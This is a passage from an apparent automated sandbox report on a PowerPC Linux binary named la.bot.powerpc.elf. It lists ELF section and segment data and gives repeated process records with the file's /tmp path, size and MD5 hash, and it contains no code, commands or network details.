      .bssNOBITS0x100223fc0x123680x41fc0x00x3WA004
      .shstrtabSTRTAB0x00x123680x4b0x00x0001

      Program Segments

      TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
      LOAD0x00x100000000x100000000x11a540x11a546.21310x5R E0x10000.init .text .fini .rodata
      LOAD0x120000x100220000x100220000x3680x45f83.88520x6RW 0x10000.ctors .dtors .data .sdata .sbss .bss
      GNU_STACK0x00x00x00x00x00.00000x6RW 0x4

      Network Behavior

      ⊘Skipped network analysis since the amount of network traffic is too extensive. Please download the PCAP and check manually.

      System Behavior

      General

      Start time (UTC):06:57:43
      Start date (UTC):27/10/2024
      Path:/tmp/la.bot.powerpc.elf
      Arguments:/tmp/la.bot.powerpc.elf
      File size:5388968 bytes
      MD5 hash:ae65271c943d3451b7f026d1fadccea6

      Chronological Activities


      General

      Start time (UTC):06:57:43
      Start date (UTC):27/10/2024
      Path:/tmp/la.bot.powerpc.elf
      Arguments:-
      File size:5388968 bytes
      MD5 hash:ae65271c943d3451b7f026d1fadccea6

      Chronological Activities


      General

      Start time (UTC):06:57:43
      Start date (UTC):27/10/2024
      Path:/tmp/la.bot.powerpc.elf
      Arguments:-
      File size:5388968 bytes
      MD5 hash:ae65271c943d3451b7f026d1fadccea6

      Chronological Activities


      General

      Start time (UTC):06:57:43
      Start date (UTC):27/10/2024
      Path:/tmp/la.bot.powerpc.elf
      Arguments:-
      File size:5388968 bytes
      MD5 hash:ae65271c943d3451b7f026d1fadccea6

      Chronological Activities


      General

      Start time (UTC):06:57:43
      Start date (UTC):27/10/2024
      Path:/tmp/la.bot.powerpc.elf
      Arguments:-
      File size:5388968 bytes
      MD5 hash:ae65271c943d3451b7f026d1fadccea6

      Chronological Activities


      General

      Start time (UTC):06:58:10
      Start date (UTC):27/10/2024
      Path:/tmp/la.bot.powerpc.elf
      Arguments:-
      File size:5388968 bytes
      MD5 hash:ae65271c943d3451b7f026d1fadccea6

      Chronological Activities


      General

      Start time (UTC):06:58:10
      Start date (UTC):27/10/2024
      Path:/tmp/la.bot.powerpc.elf
      Arguments:-
      File size:5388968 bytes
      MD5 hash:ae65271c943d3451b7f026d1fadccea6

      Chronological Activities


      General

      Start time (UTC):06:58:57
      Start date (UTC):27/10/2024
      Path:/tmp/la.bot.powerpc.elf
      Arguments:-
      File size:5388968 bytes
      MD5 hash:ae65271c943d3451b7f026d1fadccea6

      Chronological Activities


      General

      Start time (UTC):06:58:57
      Start date (UTC):27/10/2024
      Path:/tmp/la.bot.powerpc.elf
      Arguments:-
      File size:5388968 bytes
      MD5 hash:ae65271c943d3451b7f026d1fadccea6

      Chronological Activities


      General

      Start time (UTC):06:59:45
      Start date (UTC):27/10/2024
      Path:/tmp/la.bot.powerpc.elf
      Arguments:-
      File size:5388968 bytes
      MD5 hash:ae65271c943d3451b7f026d1fadccea6

      Chronological Activities


      General

      Start time (UTC):06:59:45
      Start date (UTC):27/10/2024
      Path:/tmp/la.bot.powerpc.elf
      Arguments:-
      File size:5388968 bytes
      MD5 hash:ae65271c943d3451b7f026d1fadccea6

      Chronological Activities


      General

      Start time (UTC):07:00:33
      Start date (UTC):27/10/2024
      Path:/tmp/la.bot.powerpc.elf
      Arguments:-
      File size:5388968 bytes
      MD5 hash:ae65271c943d3451b7f026d1fadccea6

      Chronological Activities


      General

      Start time (UTC):07:00:33
      Start date (UTC):27/10/2024
      Path:/tmp/la.bot.powerpc.elf
      Arguments:-
      File size:5388968 bytes
      MD5 hash:ae65271c943d3451b7f026d1fadccea6

      Chronological Activities